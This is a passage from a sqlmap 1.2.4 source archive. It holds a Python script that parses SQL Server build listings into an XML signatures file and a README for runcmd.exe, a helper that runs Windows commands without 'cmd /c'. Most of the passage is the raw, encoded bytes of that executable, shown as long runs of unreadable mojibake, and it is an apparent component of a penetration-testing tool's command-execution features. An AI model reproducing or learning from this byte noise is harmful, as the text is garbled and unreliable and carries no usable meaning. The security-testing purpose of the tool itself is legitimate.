re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I) releasesCount = len(releases) # Create the minidom document doc = Document() # Create the base element root = doc.createElement("root") doc.appendChild(root) for index in xrange(0, releasesCount): release = releases[index] # Skip Microsoft SQL Server 6.5 because the HTML # table is in another format if release == "6.5": continue # Create the base element signatures = doc.createElement("signatures") signatures.setAttribute("release", release) root.appendChild(signatures) startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index]) if index == releasesCount - 1: stopIdx = len(mssqlVersionsHtmlString) else: stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1]) mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx] servicepackVersion = re.findall("(7\.0|2000|2005|2008|2008 R2)*(.*?)[\r]*\n", mssqlVersionsReleaseString, re.I) for servicePack, version in servicepackVersion: if servicePack.startswith(" "): servicePack = servicePack[1:] if "/" in servicePack: servicePack = servicePack[:servicePack.index("/")] if "(" in servicePack: servicePack = servicePack[:servicePack.index("(")] if "-" in servicePack: servicePack = servicePack[:servicePack.index("-")] if "*" in servicePack: servicePack = servicePack[:servicePack.index("*")] if servicePack.startswith("+"): servicePack = "0%s" % servicePack servicePack = servicePack.replace("\t", " ") servicePack = servicePack.replace("No SP", "0") servicePack = servicePack.replace("RTM", "0") servicePack = servicePack.replace("TM", "0") servicePack = servicePack.replace("SP", "") servicePack = servicePack.replace("Service Pack", "") servicePack = servicePack.replace(" element signature = doc.createElement("signature") signatures.appendChild(signature) # Create a element versionElement = doc.createElement("version") signature.appendChild(versionElement) # Give the elemenet some text versionText = doc.createTextNode(version) versionElement.appendChild(versionText) # Create a element servicepackElement = doc.createElement("servicepack") signature.appendChild(servicepackElement) # Give the elemenet some text servicepackText = doc.createTextNode(servicePack) servicepackElement.appendChild(servicepackText) # Save our newly created XML to the signatures file mssqlXml = codecs.open(MSSQL_XML, "w", "utf8") doc.writexml(writer=mssqlXml, addindent=" ", newl="\n") mssqlXml.close() infoMsg = "[INFO] done. retrieved data parsed and saved into '%s'" % MSSQL_XML print infoMsg if __name__ == "__main__": updateMSSQLXML() sqlmap-1.2.4/extra/runcmd/000077500000000000000000000000001326012263700154305ustar00rootroot00000000000000sqlmap-1.2.4/extra/runcmd/README.txt000066400000000000000000000003011326012263700171200ustar00rootroot00000000000000runcmd.exe is an auxiliary program that can be used for running command prompt commands skipping standard "cmd /c" way. It is licensed under the terms of the GNU Lesser General Public License. sqlmap-1.2.4/extra/runcmd/runcmd.exe_000066400000000000000000001105261326012263700175670ustar00rootroot00000000000000œì½,*¶GÒœ¶§Ú{¡7}~Ñ‚¢~2t­=‘i-=lU´Åf °œ|G-Bö “‘Õß äâÌàÇÌçE%bÅ„Ù5î÷¸áîdÒÓ,ÍNcB@µöAl­Rþô¶¹¯ý޽­¯BÊÞù¯b÷Ït¯íO« »Ââ¯íßÙþ»á½êžïOÿÕKEc(¡ã¹ ¹ùwÝ"š1à¸Qw¬×➺ia¦'¥°öYRÌÇòðÃw SÎabãdt˜9¿‡ ì¯O6ÇÍW ܾÀ˦0FQç`¤· ºª2ºfÊ¿ûƒ÷InÞúƒN‚º®]sþ ¡öHK¸4¼‹ãÊæG¹z±÷¨@W·øyrŒiá3E–™½ÇÂzØÜð"ø RÖÅRøT¸N*ùöïÛ¿ÿ¾ýûöïÛ¿ÿ¾ýûöïÛ¿ÿ¾ýûöïÿý¿°ðӮןÂ8ðÏ:Î…“OŠþw¢úËÌ‚13ÑtlG1AÈ“Žº|¼ygûóªžà‰Ã;æA³Qã ïÊUáSx•ióewF«"î'ŒÃßÞ{.dö_KN·?À 5VL†ËÌa\;UëÌd%×™(¿QÁ‹æY€/žIƒ—ñǯ®u YNC8‚>SÇCÈ‘ãߤóPãÚ3 ?Ûv_¯Ã.å¯OçÒÁ2÷¯I¯òHç´˜·|Ubå“&…cѼEi™?ß…ç 't; :¹Q¨ÖIy":@08è3 ?ú?Þö˜€”ÕæÕ«™9ŠZ? c(Ò‘åJõ µ^uÛÅ „e~ªù x}¡= a€c‡íÙ'ɰBl Øο2·«2þ¶ }ÃŽ*äW:ÆÕmthkΫUöÌ'8«‡Ú›c´{$ï~‚²äbÙ¦y|±óqê`h\D–fÐ?öºÐw¼“¬LtÕäA³©àÞ3—›œÛœ7ý¿~Äp=VF(¬áÍvÐ!šî*õ(Ü?â ?µ—ƒ¯ŸÇˆ­"ÀÀÉêЖ;eøJäµ<®VÄžé?økogŸº£ü_Ð \ò‘ùA*ETpš”b™r9_´¾ƒÕ„¡ñ j ò:¶Ñä¯ãd¢[$ÿþªUxýB¶ä>l)hnZVb¼ „a­2ÛÍCxõÚI‘ ⵌHLU”â[Ù$ÒÝ1Pò!r““Ö²pRà‹¬£NÏÕ×boøœÈT|±ʇ*/zÞœ„ÊÞ^ëáRÉþÌh°ðÕh¡Î§Œüc/¸ÉŽ3ýB» Œ³œB ég¶Ê?Ú2¤’(U̦ÈÀ¢7Œ:fÈ¢%Æ”µÐÚõ?ü77‹( õV?ûÀH[’q¸ôA&‘‰›™h Eô(Ñ8ŒØ¥XßçEød¹ú%r0#aª.%¯æGʇ•IÜ{±Ã.®3—õýR,NqpÒ’éÈ‹?ö£ô((+jd>àñÙ%Õù=¼êF?%j)ýSǪ!ª•×OrOç?½¿ŽÕd°²ÖìÐ ˆte¾ešÆ@ ŒMËH+© QÓríòD9;Y/•™hÒ;dw¨Öw¨9ö¥û”ÕæÌw²JlÉŠLkW+M$`Ò‡b‡«ôX)Ñ O áG>öGç µ7Ò .+2΀ŠŒ¨ù3ŽL®Ðß øhK®ÜÝ8QUˆ2µ ÔWprá6 Y©ÏáùçŸ`ø‚cAÖìTë±Ífí< ió‚Ö“$õþ…“R§üT ÖÃ5 «ÉÒ&:·L†ñŠ2ˆ¬‘p©–ã|çä>ÝæPü•´Ê -©¥KhE²X@±„ó(Ÿ#j¶|ÖÞÛ  /åfÅÖ|%u7 Ø¢vkç´~$û¹‰Å#ˆ-p©Jø1É•`Ê9Rå\ÿ-ž+u1‡ß® +Ñ” ­ÑaªÉͯ¢NÊÈ{s}­wÊÖ¥aÛKØÁ ¤òˆž"4þ+‹=_f¥ß­^ñ •«—©(ú~µGc‘…—Ïg$Ç^Ö§+cK(eΟü¨àG”‹ów«_%#^иÛ9H®ÓJC'—™çFÕ¾p9Rgïs€ìLÃØ—v£QdmD̆#pÂ>Ùô».*zñTÄnIl óéý—*Õ«EÃ4JÕ!Ÿé_ï¶Öóôº4ªuƒ×#ld8L«è£š±n†à¼G8ëÖÊxç…Ž5Þå_稌ì–ŠI¦ ¼a'²!àÂÜLodÒ’›#sX˜è7ã YcíQºy¨ðz”¥¼G!µ¸côŸµ¡HÂËßã¹ð-~2om†¦è±ZKÔ[z‹.ÊßrX±”->±t¾VåÝâ2/àµqúe”vÓHÏöuÐAa`·²7Eæ(lñ¹xnúù<^4_äiz´ëu/œƒMé(Wµ"­µÝ­µŸ¶Ö¦ÔyS‚%ÁøÀe’¦Óݳ¡É¹‰Í‰ x³iMRÞ?Ð6yÈøÐ'Cñ»Üˆ®Gß[!lšQjl›QI7û$T»µGî¶WkŠ] øb«íÓ=.5Þ‹m‘kˆ6ÜÏJ kaœËƒ4@Û4qÓ3)Xg:RJ'¿½©±«”¦ÔöWµxjé/[:‘ké -È›=@}aÔ? 2-¥—èµLG1•Úé ×Ôô–|¯ä~O«?ñVÒ‹Š´(ÍM ƒsJaôãZôY¸œþê×(Fȱà¥;ùÓé÷ æ“ÌX›æ~Hh¦EÔS~ ~Ël°¨·Òƒ¹¨ÿqUëý¶x±b-:ß4Ô™ÃÈ)8€FRa€µ¨ yÅöSÆ”=Œçsw‹Óë ÐÅ,gGé|à ¢CK.5טņã3O¬Àšè²†Ä;Å EM4©Bé· ÐŒ¨ÉÆ~Û6®VDÝrè¤øGv`Þ²E¨ˆ¯}ªì DXÔüaƒßI ÐÏ ­u7åë}n”Êi¹±8‡^BVÏ(U$6ñYŶ,•1,¯~D°Uv Bùt“ö>^Qºu<Ûó !›aÒˆ…(}òþKô·©¬  A)«Z¬|‚^©5Bô¬«-©/i4¯¹E"§¥,i{<Ì6Xmø=YINKüc¿—\)÷êœÞ|_ip2§Ø}½p=Ý•%Á«“‡PHJH¯^Š´pGB×6“r7p*ÓðÝ:x˜KÐX>gvs†=¯sfB‡´ölc Çä' ¿x Ž—x‡dµæUkÔ¾XÎ=îýeO¹è¯ÒKü@áÿ(†ßkùfŒ¤aB y½¸ =såLÈ2c2ó§f$…Ï:0£Yñ—R¯T#Xf½ë#K~度Àö![¡ð9N× oÈ » æ*ssgsA2`x;Q?=Û-ftUßÓ`]À…Hß碧Y#•&ÖMD"´=Œã›þYÇ"ÃüÆÿat¢¿¥Í‘ªÕü§±˜×É]q Õp+évõ|E9ŒÑÄö>Rê³Ê" ú6ån:ˆS\¶ßǾ”­58Z$èØz>—>s Xk¬4ÜT¦ªâ4 æ+R¬~öWe:KzÇcÛn%}ņ?LÔ08ž%1r2¹KñUÒAšYl3´Þ~´ €ë†G×cþNãOŽUŒJHÀ°CLÆš™QEæ'Ö¤ÌcÍšÑü•"ôÌŒn[ÝL9¼HS’ƒLþI’Y£ïI¨G ´K–# ®q>a#ôJì|ƒQèR!bÂüY »ÜôiIYæÄf—¥*µ²§ ²Ûø; œþe /M¸V¢tµçš5¸ÐîŠ5ä Lë¤ä œÉˆ[&De“6Ça3ñ‚¥œ”ªf4žž Â6Ó¼¼4&„ôÏV£lm½×¬©t&Ž¿Š\‰»N-N[ÈÁ#ùßñ™ñZÜö¯¼< ±_Üä’üåôÕ Ø=ÆiÂX\ëÀ¦nѺ5/‚ì·H Üzf¶`­·{ê=ô¢™ãšŠÊ•œ˜7=­Õ:'iý!’‰ÕÍÚ×O³¨vÊÝrFšWN.qšªè_ªÍTs'ÔÔ…äŽ#/5Y/L ^€rI1”|àÚpà_ÆÐ#®Á²€ó@eGƒ•µyd¦j± YJ¯H¨p¡3h:™+žYÁ·?ª0êpW‹sЗöÂ<6ÏÆ)qA‹3𤂊Ö·(8ïUÐÁ›<‚Š©¡›Å9€wlƒ: LKêÝ.ŽöÇ”9Át|zðeJTdˆØók ,ß2c·çIB°_yZÐ`^k""gµam»aq ‘f!ê¢#¤,¥ÐÐOê‘d»FVÉ>Ï<£.lg‘dˆísn7Š-ùaø”ý%äÉ$n½Z/ìˆ3“xõ-%J =¡ÖŽe’õ6.—Ê£üŸÛ¥MÄêvYÊ um ‡×/P¦(Ó`ÌÝ)Ž[Óº6_ÕùÔÍ!Ì×ybháÄvð‚QŸoÇ ÂÚGPgò—sr"fþŠÆ¾ Idu)y´¯ ”ä]ä–!UzÎÏ0c¤»Õev;Gzì÷9sq$˜ÀqœT1ºj %[j 1áÙgæå3húØ;ã;æÍëÆJ‹P(’èPY$dC»eX{¼fô·¬  Œ¬àâ» „þöÚ!¤ŒTo¤¤œ(î€ñý9ÔKêižÎÁpœþˆÓ—вDi>º]~êí—q·ÇLpüoyq°YW[v·é¤d-|âœÛîÒ6³,Ä©>º­[>šs‘ã»4P™ jÀe7푎ljkâ®VÝ ?heG€LC $‚?x¾„æ…3§xq[ü³dv[_þ£oÛøß}üÈÁ„7TŽÃö>Ý=ÕþhÍ®¨ó™¹úøÚ×$ŠïÙ{ô­GÕåÁç“GŸ Ô(¤5£¸ç“Ï?ã1ÿlì*»ã1ÛdÞíÙ¸óûdžÌ÷k5Óï {K`AjßÓGåD©|‡&ùýQ3QŽbŠXŠŸ­Ét2K@™U¶QðÊ>J…2 Ë}Š´l#TJ«oÚÑË%K`¾Ðß(³i€\lèéZÀpÒ¦\~ê @)Èò1býêúÖ!w â/©Q=QЖd´±. « |–>Sµ½ÝТØíLÐPPƒMdô©JÒµz‰P>¦RÓV9=a¡ÀE«i©x›fìNÒX âä$wóÌÄ`R$‚¶WÎR©ÿ,CÁC€Á„@º¶g±RJÒü‚M³6ü`¢Ú@e*æO.×ÞA=kâËüŸâ gß›í]h o3mKÍÏl€PZßósŒYê}Fœ2(ß®™¾¢ÁQp™·`xÅw™Lƒ{¥jFxš¶sJ팓ÅA*œ_ïà º$B᦯>tÈ  Ÿ wÍ<Ýú@Í_ë6mªu„”ôqõÄ7úhOIOd3/h¾… š™'‹Ý` ÿÕãA©ÒØ|îÐ++` Ú³™)#µß™È6ðPÄi3|ÕaŽüÀ›2ÿtº1rf„¡É7|ã9K¤Ê›5GÍZR˜Y͌ӕZN ’› vr€¶á#50[2&Œ!ß»˜ õ_ cU®+Bêœ'½#­ò1šà 7ÂÁ=ðŽ£¢1,‰fêµ^Xšùy°:åÃvç/là9¨æùÑ@8ÑaÈ3t:xh0i ±>Å:1ÒÚm öÊMFè¤,´ÅzOEm~lø¡öc°,bôe[%Ù‘£ìO/'î=Që•BUº‘}šáè7†¥©ôǦ¸Û©fÃ÷k€:sèŠyÄz*@x€^h žÇmeÁ§uÔ?Ž&ä?ï¢0^oóKÀ8\çEìy1úQÝ@p×z-Ÿ’>ÊBÊuž'Óx 5GC6Ï„·¯“”3ÏSÃ.}S<ök7œwæá7º?ý·\aaû‹HZ7™ ù¦{W=h6Z}QæN‘22LiúG/²\óíwU΄ S"ìÆWéÏ2‹FN•Z4ÄŠ$tmŸ×N²\™›m¨ŸÕo'à½5ºeNQ ·ÁË…N2ºÄøza&"#Ó‹G.cªZ¨&åÐLÜ9˜…!tb7ÇvѺÐ!“K¯1œÞpÙmÄú— k(kJúaûĵ7hºØWæ†Æ˜¹¿6`æî¼È7~L·ØÌÍyL·Tÿe‘¿¥{;üºR£Jj3ÞÃ\YIݘAò¾¤™¼Ãö„~íTßña4 rcàÖÄæ4GVÝ^h­™Ç#þÞì #g¿W âdeø7þ+Peò޵YËÜ«“úÉ^omo Y½R¦pö‚ë þz?œªÁ…/?B«ˆÎÏùRÓE~õRRºI¦MÕQkhéLÓ²cˆiX¸ÏØ€#¡…“O·Új7ŽNƒu\²)<ònð¦#Æs`·¡!v¹7 [ú{ÀÞÁ$¡zdÎÖ“hÐ|Œ +Ç‘sOÝmÔ%º¡^-ÇYp?7¬8>ß3LŒ•Ë|\²±d"E‡ø±¢‹HWë€ ¦Í +¶}æuЧ7EúŠ Þh®ÊÛúHópç•‹ ÍÇI»ÆƒúÂ-ÍO6ÓƒJôÏ óyðÃBåèŒ e5¿9%í E_%qÇíPl}–ÁËe®ÙcÍ»† Ñl'/GŃ ´G)”ÁËl óSàY0`ñ¹/lioâe‹u%Ø ª´zÖ‡MµcÞIÓ¿ã[,>£>%«Q:¬×Ïl ê¢isåÌŽPo hKöˆ 䝸´5Br,{lûÈÚxŽˆ /ü“›žJãÖjùØ\=bÚB'×cBÛN¼rà #fJ/1¾‰“æUŒQ  åuôÍ¿_oŒÉ]Ï„oUjÇ+1Ó #3Ï>„Ž:ñwbÂÐ <Ã>ˆ ŸÅ‚QJ£§á¢¯#ƒã¤£Ÿ0"ë‘)QÃï]öœ¿”B§âÓ{ßa÷R/…š…ã©pö_ÿYih&„!DÎ(Õ…ý1·K¥Ñ=ä j2¾ƒÍ^”_à7RYëÌYßVñiX2ût³8]³b”ƒ0øR“7-,‘ Dbô¥ñ•2\È~Š„ôAW”µ_´6þ²"ä}Îm«?)~˜bÞú[òÉÒ¯7.g½zë`ìî¦Óã}ê¶ZŸ6HÝÉJ'-½p£RÁåÌqN>&vk7Y–4dÆ=I <ƒÞqÍꥸì ¤RÔè~ÿ[Ú_Äí]úB>$ ê‰#¯5ÝxýÕ&ÆÀ®•Ë2³ÆÊÌ(¤¿ ñ\4Ãÿ¦)Ct°–1>›òJ€&ò®–3§|ÉÍ’÷Kì–?ïE¶‚^pq6é´‹^þ7J¼"°Yx Û1 f6Ø0ºõ“2&Ç)@P—Zð–û¬qñýˆ®¤©_(¼Ô¦T¼4KkIˆÙ…$¾xJ­å¸Ò7›êÉTá]aòÇÈ&ë€èJîpÈK(#\ÓKñ ™ÞUŽThóOO6¦69 NîØƒî—h¶fÐBŒÜý/šFóçꛪeÉ… nƒ‡Ùñ¸–,pR‘kùóóôð5Ú O„CfXÌmÈ×fŸ¶g$þ{줹åWèŠtÒ;Y:³Âíl#9Œª‰­èN×fÇeíµ“q AýP…Õax¶ÂD6†< ¿íg_IÀwoËéÍ÷æÖ¹èËWÖJ7z1·ï>IU‹Ûþ)q9®ëWæF&/DŠl,•=8±™ëWžÚ.CX*yƧ†æ_‚%ƒrXIiKaJ¶#‚Ñ…7ÿ‚ŸùþJ¼Ÿ·‚˜µ }ê ívoÚV²u‰ i9} œ5¿á÷ŒÌeC׿‹ÑOkr¸Ã¢½¹KnãšpO}qKPWœÛf6]ì4¾»›ó©D¾p‚5{ù¢Uºä‹<*›aÌåzV­5Í%¯r›…;êYbG(þÅôûóõtµ*Èw ›¾ÕÎL(ÃHGè§tJÃØÒ‰ƒ²"/Ý¥²­‡PìÞþ¸åkFgiN{6¸Š†TP62Tø¦7<‡ö’m½ýÀ¸r•pœœm|ß?û¬</)*±k#´ZîÚiU‹ãðPpY7ˆ¥g{/PñðVŒ/µC9•T/k6:¸mI ©&ÜùB#Ê«­~¼O¶| n`=~þ~ý„8Ç·‹¶PÅMÕe±-aÒ±ÅV©¿'Ô6ò/‚”Ó #¨lX‚ ¿tà¼EM7`…pÐJŽ‹AwßJ/T1›67Õ>СviÐß§íW¹e¯éAJ¶ì-Ó.¶€ç;|s,GÁƒQ4}%G#=™¾¨`)j,D{ä#Žþ+`×s¸´†4¸KO¬EÐÇô†0e†ÓKÐU¦ðM\{—üFÖe&[Íø Å2¼ü©1Ó>§  Tn@/¨lLôDN¤¹4n\½„{ɮ֒­eÂc$–²ZÞ"'™¶Ó¹¶x·©w±UÒµ´d ²8ÂØåÃB Çý¸!P[É8*l¯S_IÓ쇖¨U5-±K‡þ»–»õªÜbL“çX <ç}cHëå¸õñÉ|ä€J[†Â¶ƒšÏw¬q ,@¢+8À©òÛqEÈp%Õ£µªNá—à-pÇ b+e»­<Æi`ÛÇoŵ9ƒÖÂN•B®|”µ=Æù(X˜›I‘k™ÎÜ”û/œ™“Þ×”â67J¶3È1|{Uà.GD9šKœ¦G1KÎQI^ Ú>ÿ ©I‘`ÛN/ †ñ¥b—\I“”¾ÀâŠZí´ tvãšà»±Iš}aoL >Žþ­¤›©6üûzÓßÍT˜+éBH"-Êö`Ào#ª½°ƒ%ì Ó:Ik_i_ŒL¸ T—:þ­â%×v;p$pÛC Û\!4¿ÏÅxgW<—ú~½d$@»÷©T¸ì_À¿vZˆã´*94§•XHlÝûmùâü† þò@ËhÇJÓׄwÿŽf’=‰GÄÔ'p2vÌuÊ~^;§çOãU©½Jt'”^aµ,‹=ƒï4•Rw*Š?ýÐAeÀ Ÿz»·‡TVæI¨‹Øœ™Ù„†ýðËëŽïA½Éiµ¼å/Kwq¬íjÛ ßÖ§$s‘ʾár™ÚŽÌª.$ÉÙ`1O€ñ—$í]›zË];ì92AÔ.žÀ…ËÌÙÈ4ÿƒYN¬àõï%sùôä?úu|±t%øÐ«ãÜþ£ÑHbRœròjœË à Î.Êà(Î*œ.±Î öŽ+C’éëô¯Ä;ôø>œ7A¤tìÈ[S)·½ì¡uÜŸsoU½Ó´b7nÍŒ¬.+":9‰99IîñxVp^ñ'÷7xoM·¹à»›¿ßR"pæñZO#ÄfaÓ·±½–Ð83àuÏõê)©&˜_`k÷ZÛÆø@¯ÀoXKö¼0qÑ\±ܱ©”d®¦í÷Ÿ´¹g·Ñ ¹?Aì"pfåxr Lc¸)ªCüeë·$^­Ht¾´‰­H0¥Ïƒ€Žž´—õâÞ We Ã!ÙØòzîRIúþˆï{g„påU <ﻘÐΠƒ ”⢠R8啈T–6ê– ‹à¢¿:ùÐãû‹ÂŠH¶´°>'j`ê·da–)º¨ÂÅ9Èd#´‘pÕài‹ûJjåŠí± 6=ƒ:22‹:$N¸ðVf·€Ûß¼\dÍOVléhÄôϼ”c¶ã v[<"Á³ýTf‘vÌèIÉ~,ŠÝ ìà;¨`ë`“Wð”ì¡ñ¡|àŠ2NÿÞ:p±ýó—Çæ`¤›þw€#`$ÓHÒõS#sá°iKD ã€ÝÐ6Tœ¨Ÿ|œZv÷x[-Ê Ò™”¹Í5²KÁÏôYWÈÕJŠBdGg6X4”b‚²'©Ë)ê¨ÂGð•RµÅ ^æ¦ã>xñ%I¥Š¥Y²‹1®KK¨G€ÌæäFœ¼.ÀblÚ¢¼l}€ Qš©E‘M>=¦ÓÖËZäîPî9B1ÃáCà»âÇÚÉ/L‡KeŒ¿KÕ,U£5ãzò‰Wo ÝIg6qÛy±’AgŒÞ;V$þk·|‹HmDö•¹ÆWJÖ“ä |ظ*Šª·ÐAgã¯ÛÁëiƒg墌9)%xd)úEÅKhÍ×Ë ã_8Q‹V–ã[K_ræ"ÂìQEhRsxJ*Å™Š&ÃäÝ­vä®Mš÷‘JÜà_h]ײLîÇQÓ;²9¼1µ:öå¾ÿo’%ËÊèT‹Ê¦Þ¿ §½Â4Â^Æy¶IÃh]n°¹ÚÑ3ñ"=X`Ìk¯Žž¦òÔ9½úcå‹û2£›s{¿7ûôbzÙfáú‹r² Еè‘_ÝÕÖ\«™ÛçMOÂXû4‚Ũt“èŸ|°¶"XXä(›.Z?7wˆè4 ´™èSä/Ó§Ë©¦‹vÒ’ÏvE±º²›SÎd{ãžÛᢟ9fdD(Ƴ„RxŒ ÷j/}‘¬³'­‡Œ¸ì¨[Õ‘Ð%­“øú.8'G¶8Ç:`ÑÖ}Ä;Ö—˜i‹™Qº\ŠB©Ô9Gö02 ½™ž“ÈÂÛP}tÁjë.e0&¼± %ÆF¨Ü–>D¯¶`€ZhGä“9{ÉN‡ ‹bKAüSoÔ‘Í[0Ï[0 »äPòh9ë/"½[ÔÕ×öx; _Ì–³³‚½vòù¢Ðýù ¨æX º£˜Û:¯ªÜËHgä½þöb%y+›ýxNbÞåøAvCÌ…ßSÜù‘Ü×µQÕµÙlëÒ{¹à"dà»jûà××ÏEÖº+P͸–ï£/\N˜‘¶úe_&T´Ž‚ÜJuq€9Úì½i6IAì}`‹›‡—~™ðËŸfóà·o4T'Û€ú'q¼³árï3ÂÛ{l¼rðIÀ$€·aÞüضÑ´ažaøƒßΊ.×|Õ£Ú‚…ǶÃè¸N÷¿Ûßþ²üï÷HóŠ¿ÓßòT&ÛQ#¡õ· wîU‡‡w¿§Uÿ‡ýr±ÿ÷ýÑðû$sÇkvðãàHwå÷Á¯dXTÿ·údi9+¬ ^üÊá·ÅÿhýR° ¸¿%ùûÛÁj¬2o×Èxøå®üú$åÿ´¿N¼ÿ(ýR†$„× øµÀXüž€ßÓði¯¬üßêeºàmkÑ•ÿ4ý­uÏìÇ–Ÿ!Àãní‰ôV¢F›þŸ+œ÷±qÕÔg`9P‰’÷8ÿ½¼…Øæ¢Û–á3Žõ›šÍ“À›l7xôÑŽy“ƒí•n0ÇiÛYùíYˆQբѢZFÁáPоy¶Ía[=Å € ’S‡H†¥OšÀµ®Ñær×âaIÞ›4ßyëy×’a7Ñ–úfmyPZ³×€óN‡Y›ÁÃ/ÇÇ΂n gÜÜÀ† —‡ÆŽˆ$¥PˆApÚ¢ë`+Qà2F ÊöŸ,Â…Ô:ø¢›-⛇ÙERòGpvî3Q@…šý°>üÝç~æD±fÅi­lrýœ_‚JTþ‰qp«-`D>Ô­݇ÖwaO…-vל`óî·™ô’™kiåYAA&ÌUš¯Œ¢™ø5Q=C-]"•‡IxÎl¬UŽÙ>?+j΄gLmÞF(ž~ó63%U«“eÎÁÃWÕá>BýjʃºeË2o|nÿ ‡æÚ¤Ë:ÏâöZtΚK Æ\¨Æ–Z?‰&Ìý^lº°óYà2JýA$ÂÉFz꥓Ìóà>¨ý@~g——ë7üéµ ÅÕS.›„œãé}CžË¸·Žþ!cƒÑmà`ݤá.Ûxª%SpiÖÉxÏt}ò×)‡(ÿêlוž\€[ï/•ƒ!¿S ‚GÎÒ¯‘N <~MÕïF{Î×X(‘š¢Á¨t¯CtC}ˆZ(<ù¡)f,®ŽóC|ª©©¶|Þâ½o$ Ö¯ÅÙòj*Ìõ CŽî×o‚Té`½gõ–Jlî·}8iìB·3½˜zéËK¶0±"šè>ŽÓ…_³Ú¾«ë‡˜â)*å¢RìÒv ¿±ÅŽ“+® »00Äéhg7ß ikˆfää½§s Рÿظáë|yý~ë¡Í=>Ä“_ L¨U&\øÀ:Œ5É–?ï+Ê—lZ|QØ€÷Å]?{þÈcçõ5å_©KWTÖ“ aõ¥pÏ‘ôQW˜k½‡Ïú‹ÖpdÍ÷ eÈŽ ò†}é]–Cj“×}{&0ÿŒÔ9v(ôŽtbd¤”°|º.‘º¢"oÅÂÍg!.ô0ñOª§Èâ¢Çã`†WòÇøÎe™)ô'CŒÛ‡]f:ÿŒáw·á´é–r!>B.£ìؾ\+²5B>ƒJŠB¸…ëëE<1Üú¶l´‹ËrNžÌ$„Í¡h—²qÿß.‘¨$ê¢Pœ€Yñ‹6º¶¤Û=Ò(!©›1þo—­—”]#‘ipwª\ÅQú\È?¨­.£((2\_ÎÖoÀY‹¸ªbôÔ±áÓ¦¹½ïL?!ÿ2þKé •^£¯|]UUÓɸ7®Dí/º?Éô foâ‚3puq˜%14  •’3þ=ªrbÛH›=zÙYðÊ{/)2‹5Y„Šþç3ãl~D“U+“Ç:>(ªrÓŒP‡c ªÚJµG>2–drcw+¥¡R6µf% ö–,€`uk–d£œô#Óå#N±é Šô ÀÄÜ®²­þ2‹>­ô}r6…¹] ˜]ZÙ\ç(;Av"šH‹{ÚK}2ªÎ ªÔÒf6°—KR!X!;çôx Ð  gÑà·ëšò5>EDØ‹=Z qÇâø¬ð„ ·<…E¥ 'hÜ *Ík€„å…Vâ-ßV±Èܸ@àoÑ•34‚ê•,“8e6§|¶Ø–&7€¤ƒ½hvWT¹\<Žy,y›Ânºµ¢!Îå+"EŒà½JbôSÓž0’ F$§AÍ £îܧ_¬^.^Š( IÔ2ÒT-”+8ý¶>‡Óé¼?Lð¸r÷±â&îZ›ïÀ½ hÕÍ·“Áà—vÞrIÜ}%óBc ­çÄëÙõ<h]ç5c>ùaC^¡°Óm–?;ÏæRׂ.µû™ë4Ø¥?¤¨jÇ,–È›/TÍ(@§Žrá;{‹ïLµ*X›”=ÞÚƒñ‘;†~´ Ñ‡bcú˜.ËÉkm®ÓS˜9EÄsý$dt²¥‹ÚëP¤¨zO>ÿÈëadS ¸œ1¥Ì¼o²-;¼¹šE0°¥à à&1JÚZ€-@„‘Xƒd tí‚ lîh©&2¨Æ<‘JÖ·;Þe’šÔ¬íìGõ¼±l°Oš˜%œŸR"Æ8!8N¡ÐÇ»kÛ_éhXÊ:wȉà;¼ÈAðO®÷1Itn»±l„lNãâµ_ë3i'!­h= ÙƒBÄØ {ÍIÖûc¨~ŒR?nê<ÜjƒÙéúËø‰Œ-ê†õÙi9ÔŒ!º€ígH±ÂèÊ£¬LÝíá.‚f‚8Q"h7?FjËã=¼ä^!G)ˆ—ã=Cz…øúèÕ=sÆ [™¾fù#(`Lá>$ú>8> Óï¾§­0Ď͇™Ù‡ãNýÃØ¤J%mWù„EV2c37{üà-¬é{´œ7PxYx—½ Ÿï}¸‡çЃ7d×РpžH“Ìž>ðäèïGÍÿÈŠŸdn‰Ÿß#äô ™™ òGI DÝ®ø¢øpÖð`ð`qˆé¾˜Mеxçê\ë"7¼š ba%¤>JT€I=ŸÆg¿ÎÞ$`Àµ\œí‚ÅÖé³q7Éû(}æ7špS~ÒnìI¥õV:à|ni/(p|“x¥`FëÖº~ë¥Óq5ÏÇeȳ×ãsâžûæ¡z£¤ãÈâYârÅ^’Žé»Nã½™ú<‘ñIRϾ„·ÞH¤È3°—¾ŠûkVNá䥛såBD¢Á³9òîBCaòÚ©T<å$Ù8M–ª+9¾làôçÜ;YWÕhˆTª+p’êtýx 5­>mƒ—øDä44¶è½4î[Ëë >º"¾”‹ÒÞ´Mû;Ä ‘Àpœ˜±®½W:šz{̘cÉñßÑBœò Dþ73ÂÄežÔeˆ,_-fÕ(!/îäÑa‡çU>u?lÞ:LªÔÚ>ù _æ‚Ñx1k—Xr=3ðMï"¢7†å Ö@6_ÔƒxÈ &@{oóõ±q3 @½ ¬òåÜýŒæ6äð‰¯xA˜^}½j!š;Ýk¹Æ¿¼›Å¿¤.‹6ŒÞû†:_ËCŽÂO’‚²=Y8ôèŸK!tÝú±±z·’ÊA¿ág©~>©ãj€!~0C°"^7ëÛ€V­•Æ¡_±j¾HÏK -y›ñô;{u2™Ì¾fËÚË-²\×N_l° k+rpá×'øTt£DÅ;.Z6V$oZ¶Aj#áó¸…†5ê[ó‹:Üç´èZ+©¸¿Kø©. ø|' )©`éS4sŠ<>-Òmå$±OQaD+!ª–›šaWå¤kB@Ää‚UÝí„®°É À¢Ô2¦±§?=Ž_ä[t¥Bï¿Ü™U•ƒÞ8™ }9«Ê?­‰w»…—¿P²¾Áúp?ìÁ¥w61óì6OYÜéÑXR”|¦|™qAœŒ\ÝвBuÛ­ÿ¹'Ÿ½·@,ÏàBx4ýè$F3ØËÏ…xZŒ­‡Vy¼ºÅäa"ÛÈ¿ÉT{*&¬ìàÕ;S‚Ø2² ’ޏí̺°à ‘û2Ë©ˆ!`WõzeP’ÐB~Ö‡$i`yé·rÞ©kt5NPx„D¤t!ž#ªJø¥.ÿ€Áƒíf\zXœ]øVLú(lGK—”êèÖ-ò Þ»Á!ƒ©©;Q`+åÖLoпTuPÅ{ðjÂÅÑAsEøl…ps[FˤÃàšRžˆiž¥>Vç•mÁxw5vPø&f³o ÿf54›½´íÐ/°ZrÕº¢+Ò§㙀>‡üàøs‡ÀΣÅý12“~d[“›Keȇ* 